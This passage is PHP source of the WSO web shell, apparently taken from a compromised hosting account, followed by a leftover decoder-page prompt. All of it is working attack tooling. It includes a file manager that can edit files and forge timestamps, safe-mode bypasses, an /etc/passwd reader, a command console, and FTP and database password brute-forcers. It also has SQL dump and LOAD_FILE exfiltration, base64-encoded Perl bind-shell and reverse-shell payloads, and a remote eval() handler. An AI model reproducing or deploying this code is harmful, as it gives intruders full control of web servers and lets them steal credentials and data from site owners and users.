$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
}else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');
else
$m = array('Chmod','Rename','Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'],$perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o',fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'],'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp,1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0;$i<$len;++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' ';break;
case 9: $h[2] .= ' ';break;
case 10: $h[2] .= ' ';break;
case 13: $h[2] .= ' ';break;
default: $h[2] .= $c[$i];break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 <$len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'],$_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
}else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s",@filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
wsoFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test,'cx');
if(@copy("compress.zlib://".$_POST['p2'],$temp)){
echo @file_get_contents($temp);
unlink($temp);
}else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
wsoHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
wsoFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) &&!empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
}elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'],'UTF-8',addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp),"
",$temp;
exit;
}
wsoHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n =>$v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
wsoFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!','','/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt')))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
wsoHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
wsoFooter();
}
function actionBruteforce() {
wsoHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp') {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip,$port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp,$login,$pass);
@ftp_close($fp);
return $res;
}
}elseif( $_POST['proto'] == 'mysql') {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306,$login,$pass);
@mysql_close($res);
return $res;
}
}elseif( $_POST['proto'] == 'pgsql') {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":",$_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":",$line);
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1;$i>=0;--$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1],$line[0],$tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
}elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1],$_POST['login'],$line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
wsoFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host,$user,$pass,$dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':',$host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str,$this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link,$str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table wso2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table,$fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp,$sql);else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ",$columns).") VALUES
(".implode(", ",$item).')';
$head = false;
}else
$sql = "
,(".implode(", ",$item).')';
if($fp) fwrite($fp,$sql);else echo($sql);
}
if(!$head)
if($fp) fwrite($fp,";
");else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ",$columns).') VALUES ('.implode(", ",$item).');'."
";
if($fp) fwrite($fp,$sql);else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251');break;
case "UTF-8": $db->setCharset('utf8');break;
case "KOI8-R": $db->setCharset('koi8r');break;
case "KOI8-U": $db->setCharset('koi8u');break;
case "cp866": $db->setCharset('cp866');break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler",4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
}elseif($fp = @fopen($_POST['file'],'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v,$fp);
fclose($fp);
unset($_POST['p2']);
}else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
wsoHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='".(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='".(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='".(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251');break;
case "UTF-8": $db->setCharset('utf8');break;
case "KOI8-R": $db->setCharset('koi8r');break;
case "KOI8-U": $db->setCharset('koi8u');break;
case "cp866": $db->setCharset('cp866');break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key,$value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'".(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) &&$db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key,$value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>".(empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") ."</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM '.$_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"".$_POST['p2'] ."\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=".((int)$_POST['p3']) .">";
echo " of $pages";
if($_POST['p3'] >1)
echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']-1) .")'>< Prev</a>";
if($_POST['p3'] <$pages)
echo " <a href=# onclick='st(\"".$_POST['p2'] .'", '.($_POST['p3']+1) .")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') &&!empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key =>$value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key =>$value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
}else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) &&($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
}else {
echo htmlspecialchars($db->error());
}
echo '</div>';
wsoFooter();
}
function actionNetwork() {
wsoHeader();
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>
<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
<span>Bind port to /bin/sh [perl]</span><br/>
Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form>
<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
<span>Back-connect [perl]</span><br/>
Server: <input type='text' name='server' value='".$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
</form><br>";
if(isset($_POST['p1'])) {
function cf($f,$t) {
$w = @fopen($f,"w") or @function_exists('file_put_contents');
if($w){
@fwrite($w,base64_decode($t));
@fclose($w);
}
}
if($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl",$bind_port_p);
$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
unlink("/tmp/bp.pl");
}
if($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl",$back_connect_p);
$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
unlink("/tmp/bc.pl");
}
}
echo '</div>';
wsoFooter();
}
function actionRC() {
if(!@$_POST['p1']) {
$a = array(
"uname"=>php_uname(),
"php_version"=>phpversion(),
"wso_version"=>WSO_VERSION,
"safemode"=>@ini_get('safe_mode')
);
echo serialize($a);
}else {
eval($_POST['p1']);
}
}
if( empty($_POST['a']) )
if(isset($default_action) &&function_exists('action'.$default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) &&function_exists('action'.$_POST['a']) )
call_user_func('action'.$_POST['a']);
function FetchURL($url) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_USERAGENT,"$cheader");
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch,CURLOPT_HEADER,false);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_TIMEOUT,30);
$data = curl_exec($ch);
if(!$data) {
return false;
}
return $data;
}
exit;
echo"test"
;
Did this file decode correctly?
Original Code
